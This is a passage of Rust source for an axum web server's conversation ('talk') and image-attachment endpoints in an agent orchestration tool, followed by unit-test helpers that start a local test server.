5874 blocking(move || {
5875 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5876 Ok(Json(
5877 ui.talks
5878 .list()
5879 .into_iter()
5880 .filter(|talk| q.contains(&talk.id))
5881 .map(|talk| {
5882 let thinking = ui.is_thinking(&talk.id);
5883 let cfg = configs
5884 .entry(talk.repo.clone())
5885 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5886 TalkView::with_config(talk, thinking, cfg.as_ref())
5887 })
5888 .collect(),
5889 ))
5890 })
5891 .await
5892}
5893
5894#[derive(Debug, Default, Deserialize)]
5899#[serde(default)]
5900struct NewTalk {
5901 agent: Option<String>,
5902 repo: Option<PathBuf>,
5903}
5904
5905async fn talk_post(
5908 State(ui): State<Arc<Ui>>,
5909 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5910) -> ApiResult<impl IntoResponse> {
5911 let body = match body {
5915 Ok(Json(body)) => body,
5916 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5917 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5918 };
5919 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5920 let cfg = config_for(&repo).await?;
5921 let view = blocking(move || {
5922 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5923 let thinking = ui.is_thinking(&talk.id);
5924 Ok(TalkView::new(talk, thinking))
5925 })
5926 .await?;
5927 Ok((StatusCode::CREATED, Json(view)))
5928}
5929
5930async fn talk_detail(
5932 State(ui): State<Arc<Ui>>,
5933 Path(id): Path<String>,
5934) -> ApiResult<Json<TalkDetailView>> {
5935 blocking(move || {
5936 let id = resolve_talk(&ui.talks, &id)?;
5937 let talk = ui.talks.get(&id)?;
5938 let thinking = ui.is_thinking(&talk.id);
5939 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5940 .into_iter()
5941 .map(TaskView::from)
5942 .collect();
5943 let roster = Config::discover(&talk.repo, None)
5944 .map(|(cfg, _)| {
5945 cfg.agents
5946 .iter()
5947 .map(|a| RosterEntry {
5948 id: a.id.clone(),
5949 kind: a.kind,
5950 runnable: agent::installed(a),
5951 })
5952 .collect()
5953 })
5954 .unwrap_or_default();
5955 Ok(Json(TalkDetailView {
5956 view: TalkView::new(talk, thinking),
5957 tasks,
5958 roster,
5959 }))
5960 })
5961 .await
5962}
5963
5964#[derive(Debug, Default, Deserialize)]
5970#[serde(default, deny_unknown_fields)]
5971struct NewTalkTurn {
5972 text: String,
5973 attachments: Vec<String>,
5974}
5975
5976#[derive(Debug, Deserialize)]
5977#[serde(deny_unknown_fields)]
5978struct EditTalkPending {
5979 text: String,
5980 expected_text: String,
5981 expected_attachments: Vec<String>,
5982}
5983
5984#[derive(Debug, Deserialize)]
5985#[serde(deny_unknown_fields)]
5986struct ClearTalkPending {
5987 expected_text: String,
5988 expected_attachments: Vec<String>,
5989}
5990
5991async fn talk_say(
6003 State(ui): State<Arc<Ui>>,
6004 Path(id): Path<String>,
6005 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6006) -> ApiResult<(StatusCode, Json<TalkView>)> {
6007 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6008 if body.text.trim().is_empty() && body.attachments.is_empty() {
6009 return Err(ApiError::bad_request("say something"));
6010 }
6011
6012 let id = {
6013 let ui = Arc::clone(&ui);
6014 let asked = id.clone();
6015 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6016 };
6017 {
6021 let ui = Arc::clone(&ui);
6022 let id = id.clone();
6023 blocking(move || {
6024 let talk = ui.talks.get(&id)?;
6025 if !talk.status.open() {
6026 return Err(ApiError::conflict(format!(
6027 "talk {} is {} and takes no more turns",
6028 talk.short(),
6029 talk.status.as_str()
6030 )));
6031 }
6032 Ok(())
6033 })
6034 .await?;
6035 }
6036
6037 let attachments = {
6042 let ui = Arc::clone(&ui);
6043 let id = id.clone();
6044 let ids = body.attachments.clone();
6045 blocking(move || {
6046 ids.into_iter()
6047 .map(|att_id| {
6048 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6049 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6050 })
6051 })
6052 .collect::<ApiResult<Vec<talk::Attachment>>>()
6053 })
6054 .await?
6055 };
6056
6057 let start = {
6062 let ui = Arc::clone(&ui);
6063 let id = id.clone();
6064 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6065 };
6066 let turn_guard = match start {
6067 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6068 TalkTurnStart::Pending => {
6069 return Err(ApiError::conflict(
6070 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6071 ));
6072 }
6073 TalkTurnStart::Busy => {
6074 let (tx, rx) = tokio::sync::oneshot::channel();
6090 tokio::spawn({
6091 let ui = Arc::clone(&ui);
6092 let id = id.clone();
6093 let said = body.text.clone();
6094 async move {
6095 let written = blocking({
6096 let ui = Arc::clone(&ui);
6097 let id = id.clone();
6098 move || {
6099 let mut talk = ui.talks.get(&id)?;
6100 #[cfg(test)]
6105 if let Some(gate) = ui
6106 .busy_queue_gate
6107 .lock()
6108 .unwrap_or_else(PoisonError::into_inner)
6109 .take()
6110 {
6111 let _ = gate.reached.send(());
6112 let _ = gate.release.recv();
6113 }
6114 if let Err(error) =
6115 talk::queue(&mut talk, &ui.talks, &said, attachments)
6116 {
6117 if let Ok(fresh) = ui.talks.get(&id) {
6118 if !fresh.status.open() {
6119 return Err(ApiError::conflict(format!(
6120 "talk {} is {} and takes no more turns",
6121 fresh.short(),
6122 fresh.status.as_str()
6123 )));
6124 }
6125 }
6126 return Err(ApiError::from(error));
6127 }
6128 let claim = match ui.begin_queued_talk_turn(&id)? {
6139 Some(turn_guard) => {
6140 let (cfg, _) = Config::discover(&talk.repo, None)?;
6141 Some((talk.clone(), cfg, turn_guard))
6142 }
6143 None => None,
6144 };
6145 let thinking = ui.is_thinking(&id);
6146 Ok((TalkView::new(talk, thinking), claim))
6147 }
6148 })
6149 .await;
6150 let (view, reclaimed) = match written {
6151 Ok(pair) => pair,
6152 Err(e) => {
6153 let _ = tx.send(Err(e));
6158 return;
6159 }
6160 };
6161 let _ = tx.send(Ok(view));
6164 if let Some((talk, cfg, turn_guard)) = reclaimed {
6165 let talks = ui.talks.clone();
6166 drain_loop(talk, talks, cfg, id, turn_guard).await;
6167 }
6168 }
6169 });
6170 let view = rx
6171 .await
6172 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6173 return Ok((StatusCode::ACCEPTED, Json(view)));
6174 }
6175 };
6176
6177 let (talk, cfg) = {
6178 let ui = Arc::clone(&ui);
6179 let id = id.clone();
6180 blocking(move || {
6181 let talk = ui.talks.get(&id)?;
6182 let (cfg, _) = Config::discover(&talk.repo, None)?;
6183 Ok((talk, cfg))
6184 })
6185 .await?
6186 };
6187
6188 let talks = ui.talks.clone();
6189 let (tx, rx) = tokio::sync::oneshot::channel();
6204 tokio::spawn({
6205 let ui = Arc::clone(&ui);
6206 let talks = talks.clone();
6207 let id = id.clone();
6208 let said = body.text.clone();
6209 let mut talk = talk.clone();
6210 async move {
6211 let recorded = blocking({
6212 let talks = talks.clone();
6213 move || {
6214 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6215 if let Ok(fresh) = talks.get(&talk.id) {
6216 if !fresh.status.open() {
6217 return Err(ApiError::conflict(format!(
6218 "talk {} is {} and takes no more turns",
6219 fresh.short(),
6220 fresh.status.as_str()
6221 )));
6222 }
6223 }
6224 return Err(ApiError::from(error));
6225 }
6226 Ok((said.trim().to_owned(), talk))
6232 }
6233 })
6234 .await;
6235 let (text, mut talk) = match recorded {
6236 Ok(pair) => pair,
6237 Err(e) => {
6238 let _ = tx.send(Err(e));
6242 return;
6243 }
6244 };
6245 let queued = talk.clone();
6246 let thinking = ui.is_thinking(&id);
6247 let _ = tx.send(Ok((queued, thinking)));
6250
6251 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6252 tracing::warn!("talk {id} turn failed: {e:#}");
6256 }
6257 drain_loop(talk, talks, cfg, id, turn_guard).await;
6260 }
6261 });
6262
6263 let (queued, thinking) = rx
6264 .await
6265 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6266
6267 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6269}
6270
6271async fn talk_pending_resume(
6275 State(ui): State<Arc<Ui>>,
6276 Path(id): Path<String>,
6277) -> ApiResult<(StatusCode, Json<TalkView>)> {
6278 let id = {
6279 let ui = Arc::clone(&ui);
6280 let asked = id.clone();
6281 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6282 };
6283 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6284 return Err(ApiError::conflict(
6285 "a talk turn is already running; the queued draft will be handled by it",
6286 ));
6287 };
6288 let (talk, cfg) = {
6289 let ui = Arc::clone(&ui);
6290 let id = id.clone();
6291 blocking(move || {
6292 let talk = ui.talks.get(&id)?;
6293 if !talk.status.open() {
6294 return Err(ApiError::conflict(format!(
6295 "talk {} is {} and takes no more turns",
6296 talk.short(),
6297 talk.status.as_str()
6298 )));
6299 }
6300 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6301 return Err(ApiError::conflict("there is no queued draft to resume"));
6302 }
6303 let (cfg, _) = Config::discover(&talk.repo, None)?;
6304 Ok((talk, cfg))
6305 })
6306 .await?
6307 };
6308 let view = TalkView::new(talk.clone(), true);
6309 let talks = ui.talks.clone();
6310 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6311 Ok((StatusCode::ACCEPTED, Json(view)))
6312}
6313
6314async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6330 let live_set = Arc::clone(&turn.turns);
6331 let mut turn = Some(turn);
6339 loop {
6340 let observed = live_set
6344 .lock()
6345 .unwrap_or_else(PoisonError::into_inner)
6346 .queued
6347 .get(&id)
6348 .copied()
6349 .unwrap_or(0);
6350 let drained = blocking({
6351 let talks = talks.clone();
6352 move || {
6353 let result = talk::drain(&mut talk, &talks);
6354 Ok((talk, result))
6355 }
6356 })
6357 .await;
6358 let (next_talk, result) = match drained {
6359 Ok(drained) => drained,
6360 Err(e) => {
6361 tracing::warn!(
6362 status = %e.status,
6363 message = %e.message,
6364 "talk {id} could not start queued-text drain"
6365 );
6366 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6367 turn.take()
6368 .expect("held for the whole loop until released here")
6369 .release(&mut live);
6370 break;
6371 }
6372 };
6373 talk = next_talk;
6374 let drained = match result {
6375 Ok(Some(drained)) => drained,
6376 Ok(None) => {
6377 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6378 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6379 continue;
6380 }
6381 turn.take()
6382 .expect("held for the whole loop until released here")
6383 .release(&mut live);
6384 break;
6385 }
6386 Err(e) => {
6387 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6388 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6389 turn.take()
6390 .expect("held for the whole loop until released here")
6391 .release(&mut live);
6392 break;
6393 }
6394 };
6395 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6396 tracing::warn!("talk {id} turn failed: {e:#}");
6397 }
6398 }
6399}
6400
6401async fn talk_pending_clear(
6403 State(ui): State<Arc<Ui>>,
6404 Path(id): Path<String>,
6405 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6406) -> ApiResult<Json<TalkView>> {
6407 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6408 blocking(move || {
6409 let id = resolve_talk(&ui.talks, &id)?;
6410 let mut talk = ui.talks.get(&id)?;
6411 if !talk.status.open() {
6412 return Err(ApiError::conflict(format!(
6413 "talk {} is {} and takes no more turns",
6414 talk.short(),
6415 talk.status.as_str()
6416 )));
6417 }
6418 if !talk::clear_pending_if_matches(
6419 &mut talk,
6420 &ui.talks,
6421 &body.expected_text,
6422 &body.expected_attachments,
6423 )? {
6424 return Err(ApiError::conflict(
6425 "queued message changed; reload it before clearing",
6426 ));
6427 }
6428 let thinking = ui.is_thinking(&talk.id);
6429 Ok(Json(TalkView::new(talk, thinking)))
6430 })
6431 .await
6432}
6433
6434async fn talk_pending_edit(
6438 State(ui): State<Arc<Ui>>,
6439 Path(id): Path<String>,
6440 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6441) -> ApiResult<Json<TalkView>> {
6442 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6443 let (view, reclaimed) = blocking({
6444 let ui = Arc::clone(&ui);
6445 move || {
6446 let id = resolve_talk(&ui.talks, &id)?;
6447 let mut talk = ui.talks.get(&id)?;
6448 if !talk.status.open() {
6449 return Err(ApiError::conflict(format!(
6450 "talk {} is {} and takes no more turns",
6451 talk.short(),
6452 talk.status.as_str()
6453 )));
6454 }
6455 if !talk::edit_pending_text(
6456 &mut talk,
6457 &ui.talks,
6458 &body.text,
6459 &body.expected_text,
6460 &body.expected_attachments,
6461 )? {
6462 return Err(ApiError::conflict(
6463 "queued message changed; reload it before editing",
6464 ));
6465 }
6466 let claim = match ui.begin_queued_talk_turn(&id)? {
6467 Some(turn_guard) => {
6468 let (cfg, _) = Config::discover(&talk.repo, None)?;
6469 Some((talk.clone(), cfg, id.clone(), turn_guard))
6470 }
6471 None => None,
6472 };
6473 let thinking = ui.is_thinking(&id);
6474 Ok((TalkView::new(talk, thinking), claim))
6475 }
6476 })
6477 .await?;
6478 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6479 let talks = ui.talks.clone();
6480 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6481 }
6482 Ok(Json(view))
6483}
6484
6485#[derive(Debug, Deserialize)]
6487struct TalkAgent {
6488 agent: String,
6489}
6490
6491async fn talk_agent(
6496 State(ui): State<Arc<Ui>>,
6497 Path(id): Path<String>,
6498 Json(body): Json<TalkAgent>,
6499) -> ApiResult<Json<TalkView>> {
6500 let id = {
6501 let ui = Arc::clone(&ui);
6502 blocking(move || resolve_talk(&ui.talks, &id)).await?
6503 };
6504 let repo = {
6505 let ui = Arc::clone(&ui);
6506 let id = id.clone();
6507 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6508 };
6509 let cfg = config_for(&repo).await?;
6510 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6511 return Err(ApiError::conflict(
6512 "a talk turn is running; change the agent once it has answered",
6513 ));
6514 };
6515 let switched = {
6516 let ui = Arc::clone(&ui);
6517 let id = id.clone();
6518 let cfg = cfg.clone();
6519 blocking(move || {
6520 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6521 .map_err(ApiError::bad_request_from)?;
6522 let mut talk = ui.talks.get(&id)?;
6523 if !talk.status.open() {
6524 return Err(ApiError::conflict(format!(
6525 "talk {} is {} and takes no more turns",
6526 talk.short(),
6527 talk.status.as_str()
6528 )));
6529 }
6530 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6531 Ok(talk)
6532 })
6533 .await
6534 };
6535 let fresh = {
6540 let ui = Arc::clone(&ui);
6541 let id = id.clone();
6542 blocking(move || Ok(ui.talks.get(&id)?)).await
6543 };
6544 let draining = match fresh {
6545 Ok(talk) => {
6546 let draining = talk.status.open()
6547 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6548 let talks = ui.talks.clone();
6549 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6550 draining
6551 }
6552 Err(_) => false,
6553 };
6554 let talk = switched?;
6555 Ok(Json(TalkView::new(talk, draining)))
6556}
6557
6558async fn talk_close(
6560 State(ui): State<Arc<Ui>>,
6561 Path(id): Path<String>,
6562) -> ApiResult<Json<TalkView>> {
6563 blocking(move || {
6564 let id = resolve_talk(&ui.talks, &id)?;
6565 let mut talk = ui.talks.get(&id)?;
6566 talk::close(&mut talk, &ui.talks)?;
6567 let thinking = ui.is_thinking(&talk.id);
6568 Ok(Json(TalkView::new(talk, thinking)))
6569 })
6570 .await
6571}
6572
6573async fn talk_reopen(
6575 State(ui): State<Arc<Ui>>,
6576 Path(id): Path<String>,
6577) -> ApiResult<Json<TalkView>> {
6578 blocking(move || {
6579 let id = resolve_talk(&ui.talks, &id)?;
6580 let mut talk = ui.talks.get(&id)?;
6581 talk::reopen(&mut talk, &ui.talks)?;
6582 let thinking = ui.is_thinking(&talk.id);
6583 Ok(Json(TalkView::new(talk, thinking)))
6584 })
6585 .await
6586}
6587
6588async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6598 blocking(move || {
6599 let id = resolve_talk(&ui.talks, &id)?;
6600 ui.talks.remove(&id)?;
6601 Ok(StatusCode::NO_CONTENT)
6602 })
6603 .await
6604}
6605
6606fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6608 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6609}
6610
6611async fn talk_attachment_post(
6614 State(ui): State<Arc<Ui>>,
6615 Path(id): Path<String>,
6616 headers: HeaderMap,
6617 body: Bytes,
6618) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6619 let mime = validate_attachment(&headers, &body)?;
6620 let name = filename_header(&headers);
6621 let data = body.to_vec();
6622 blocking(move || {
6623 let id = resolve_talk(&ui.talks, &id)?;
6624 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6625 Ok((StatusCode::CREATED, Json(att)))
6626 })
6627 .await
6628}
6629
6630async fn talk_attachment_get(
6633 State(ui): State<Arc<Ui>>,
6634 Path((id, att)): Path<(String, String)>,
6635) -> ApiResult<Response> {
6636 blocking(move || {
6637 let id = resolve_talk(&ui.talks, &id)?;
6638 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6639 return Err(ApiError::not_found(format!(
6640 "talk {id} has no attachment `{att}`"
6641 )));
6642 };
6643 Ok(attachment_response(&meta.mime, data))
6644 })
6645 .await
6646}
6647
6648fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6659 if data.len() > ATTACHMENT_MAX_BYTES {
6660 return Err(ApiError::bad_request(format!(
6661 "attachment is {} bytes, over the {} MiB limit",
6662 data.len(),
6663 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6664 ))
6665 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6666 }
6667 if data.is_empty() {
6668 return Err(ApiError::bad_request("attachment is empty"));
6669 }
6670 let declared = declared_mime(headers)?;
6671 match sniffed_mime(data) {
6672 Some(sniffed) if sniffed == declared => Ok(declared),
6673 Some(sniffed) => Err(ApiError::bad_request(format!(
6674 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6675 ))),
6676 None => Err(ApiError::bad_request(
6677 "the file's bytes do not match any accepted image format",
6678 )),
6679 }
6680}
6681
6682fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6686 let raw = headers
6687 .get(header::CONTENT_TYPE)
6688 .and_then(|v| v.to_str().ok())
6689 .unwrap_or("")
6690 .split(';')
6691 .next()
6692 .unwrap_or("")
6693 .trim()
6694 .to_ascii_lowercase();
6695 ATTACHMENT_MIME_WHITELIST
6696 .iter()
6697 .find(|&&m| m == raw)
6698 .copied()
6699 .ok_or_else(|| {
6700 if raw == "image/svg+xml" {
6701 ApiError::bad_request(
6702 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6703 not just a picture",
6704 )
6705 } else if raw.is_empty() {
6706 ApiError::bad_request("Content-Type is required for an attachment upload")
6707 } else {
6708 ApiError::bad_request(format!(
6709 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6710 image/gif or image/webp"
6711 ))
6712 }
6713 })
6714}
6715
6716fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6719 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6720 Some("image/png")
6721 } else if data.starts_with(b"\xff\xd8\xff") {
6722 Some("image/jpeg")
6723 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6724 Some("image/gif")
6725 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6726 Some("image/webp")
6727 } else {
6728 None
6729 }
6730}
6731
6732fn filename_header(headers: &HeaderMap) -> String {
6738 headers
6739 .get(FILENAME_HEADER)
6740 .and_then(|v| v.to_str().ok())
6741 .map(str::trim)
6742 .filter(|s| !s.is_empty())
6743 .unwrap_or("attachment")
6744 .to_owned()
6745}
6746
6747fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6754 let content_type = ATTACHMENT_MIME_WHITELIST
6755 .iter()
6756 .find(|&&m| m == mime)
6757 .copied()
6758 .unwrap_or("application/octet-stream");
6759 (
6760 [
6761 (header::CONTENT_TYPE, content_type),
6762 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6763 ],
6764 body,
6765 )
6766 .into_response()
6767}
6768
6769async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6777 let repo = repo.to_path_buf();
6778 blocking(move || {
6779 let (cfg, _) = Config::discover(&repo, None)?;
6780 Ok(cfg)
6781 })
6782 .await
6783}
6784
6785fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6791 let mut hits = ids
6792 .into_iter()
6793 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6794 match (hits.next(), hits.next()) {
6795 (Some(one), None) => Ok(one),
6796 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6797 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6798 "`{prefix}` matches more than one {what}, including {a} and {b}"
6799 ))),
6800 }
6801}
6802
6803#[cfg(test)]
6804mod tests {
6805
6806 #[test]
6807 fn holder_reads_the_lease_not_the_record() {
6808 let mut q = Question::new(
6809 "run".to_owned(),
6810 "implement".to_owned(),
6811 "impl-A".to_owned(),
6812 "which?".to_owned(),
6813 String::new(),
6814 Vec::new(),
6815 );
6816 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6817 q.cwd = Some("/tmp".to_owned());
6818 assert_eq!(holder_of(&q, None), Some("nobody"));
6819 let beat = |kind, ago: i64| ask::Lease {
6820 kind,
6821 pid: 1,
6822 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6823 .unwrap(),
6824 };
6825 let fresh = beat(ask::WaiterKind::Asker, 1);
6826 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6827 let daemon = beat(ask::WaiterKind::Daemon, 1);
6828 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6829 let stale = beat(ask::WaiterKind::Asker, 3600);
6830 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6831
6832 let mut c = Question::new(
6835 "task".to_owned(),
6836 crate::conduct::NODE.to_owned(),
6837 "conduct".to_owned(),
6838 "which?".to_owned(),
6839 String::new(),
6840 Vec::new(),
6841 );
6842 assert_eq!(holder_of(&c, None), Some("nobody"));
6843 c.cwd = Some("/tmp".to_owned());
6844 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6845 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6846 let deputy = beat(ask::WaiterKind::Deputy, 1);
6847 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6848 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6849
6850 let mut r = Question::new(
6852 String::new(),
6853 crate::bump::NOTICE_NODE.to_owned(),
6854 "release-watch".to_owned(),
6855 "stuck?".to_owned(),
6856 String::new(),
6857 vec!["hold".to_owned()],
6858 );
6859 assert_eq!(holder_of(&r, None), Some("nobody"));
6860 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6861 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6862 r.deputy = None;
6864 r.seat = "bump".to_owned();
6865 assert_eq!(holder_of(&r, None), None);
6866
6867 let mut m = Question::new(
6870 "run".to_owned(),
6871 crate::land::APPROVAL_NODE.to_owned(),
6872 "land".to_owned(),
6873 "merge?".to_owned(),
6874 String::new(),
6875 Vec::new(),
6876 );
6877 assert_eq!(holder_of(&m, None), Some("nobody"));
6878 assert_eq!(
6879 holder_of(&m, Some(&fresh)),
6880 Some("nobody"),
6881 "a lease with no deputy is not a listener"
6882 );
6883 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6884 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6885 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6886 assert_eq!(holder_of(&m, None), Some("nobody"));
6887 }
6888
6889 fn stub_config() -> Config {
6890 Config {
6893 agents: vec![crate::config::AgentSpec {
6894 id: "stub".to_owned(),
6895 kind: AgentKind::Command,
6896 model: None,
6897 command: vec!["true".to_owned()],
6898 extra_args: Vec::new(),
6899 env: Default::default(),
6900 prompt_delivery: None,
6901 }],
6902 ..Config::default()
6903 }
6904 }
6905
6906 fn plain_question(seat: &str) -> Question {
6907 Question::new(
6908 String::new(),
6909 "n".to_owned(),
6910 seat.to_owned(),
6911 "s".to_owned(),
6912 String::new(),
6913 Vec::new(),
6914 )
6915 }
6916
6917 #[test]
6918 fn deputies_enabled_follows_the_config() {
6919 let on = stub_config();
6920 assert!(crate::deputy::can_start(Some(&on), ""));
6921 assert!(crate::deputy::can_start(Some(&on), "stub"));
6922 let mut off = on.clone();
6923 off.daemon.max_deputies = 0;
6924 assert!(!crate::deputy::can_start(Some(&off), ""));
6925 let mut empty = on;
6926 empty.agents.clear();
6927 assert!(!crate::deputy::can_start(Some(&empty), ""));
6928 assert!(!crate::deputy::can_start(None, ""));
6929 }
6930
6931 #[test]
6932 fn question_views_load_the_config_once() {
6933 let dir = TempDir::new().unwrap();
6934 let store = ask::Questions::at(dir.path().to_path_buf());
6935 let mut with_deputy = plain_question("b");
6936 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6937 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6938
6939 let calls = std::cell::Cell::new(0usize);
6940 let views = question_views(qs.clone(), &store, || {
6941 calls.set(calls.get() + 1);
6942 Some(stub_config())
6943 });
6944 assert_eq!(calls.get(), 1);
6945 assert_eq!(views.len(), 3);
6946 for (v, q) in views.iter().zip(&qs) {
6947 assert_eq!(
6948 v.deputies_enabled,
6949 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6950 );
6951 }
6952
6953 let views = question_views(qs, &store, || None);
6954 assert!(views.iter().all(|v| !v.deputies_enabled));
6955
6956 let calls = std::cell::Cell::new(0usize);
6957 let views = question_views(Vec::new(), &store, || {
6958 calls.set(calls.get() + 1);
6959 None
6960 });
6961 assert!(views.is_empty());
6962 assert_eq!(calls.get(), 0);
6963 }
6964
6965 use pretty_assertions::assert_eq;
6966 use serde_json::Value;
6967 use tempfile::TempDir;
6968 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6969
6970 use super::*;
6971 use crate::config::Config;
6972 use crate::queue::Source;
6973
6974 const SETTLE_STEPS: usize = 3_000;
6985
6986 struct Fixture {
6992 home: TempDir,
6993 addr: SocketAddr,
6994 }
6995
6996 impl Fixture {
6997 async fn start() -> Self {
6998 Self::with_loop(launch_idle).await
6999 }
7000
7001 async fn with_loop(launch: Launch) -> Self {
7003 let home = TempDir::new().expect("temp home");
7004 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7005 Self { home, addr }
7006 }
7007
7008 async fn with_repo(repo: PathBuf) -> Self {
7012 let home = TempDir::new().expect("temp home");
7013 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7014 Self { home, addr }
7015 }
7016
7017 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7020 let home = TempDir::new().expect("temp home");
7021 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7022 Self { home, addr }
7023 }
7024
7025 async fn serve(
7026 home: &FsPath,
7027 repo: PathBuf,
7028 launch: Launch,
7029 machine: Option<PathBuf>,
7030 ) -> SocketAddr {
7031 let queue = Queue::at(home.join("queue"));
7032 let runs = home.join("runs");
7033 std::fs::create_dir_all(&runs).expect("runs dir");
7034 let worktrees = home.join("wt").join("magi");
7035 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7036 let ui = Ui::new(
7037 queue,
7038 Questions::at(home.join("questions")),
7039 Talks::at(home.join("talks")),
7040 runs,
7041 home.to_path_buf(),
7042 repo,
7043 )
7044 .with_worktrees_root(worktrees)
7045 .with_machine_config(machine)
7046 .with_launch(launch);
7047 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7048 .await
7049 .expect("bind loopback");
7050 let addr = listener.local_addr().expect("local addr");
7051 tokio::spawn(async move {
7052 let _ = axum::serve(listener, ui.router()).await;
7053 });
7054 addr
7055 }
7056
7057 fn queue(&self) -> Queue {
7058 Queue::at(self.home.path().join("queue"))
7059 }
7060
7061 fn questions(&self) -> Questions {
7062 Questions::at(self.home.path().join("questions"))
7063 }
7064
7065 fn talks(&self) -> Talks {
7066 Talks::at(self.home.path().join("talks"))
7067 }
7068
7069 fn runs(&self) -> PathBuf {
7070 self.home.path().join("runs")
7071 }
7072
7073 async fn get(&self, path: &str) -> Res {
7074 request(self.addr, "GET", path, None).await
7075 }
7076
7077 async fn head(&self, path: &str) -> Res {
7082 request(self.addr, "HEAD", path, None).await
7083 }
7084
7085 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7086 request(self.addr, "POST", path, body).await
7087 }
7088
7089 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7090 request_with(self.addr, "GET", path, None, extra).await
7091 }
7092
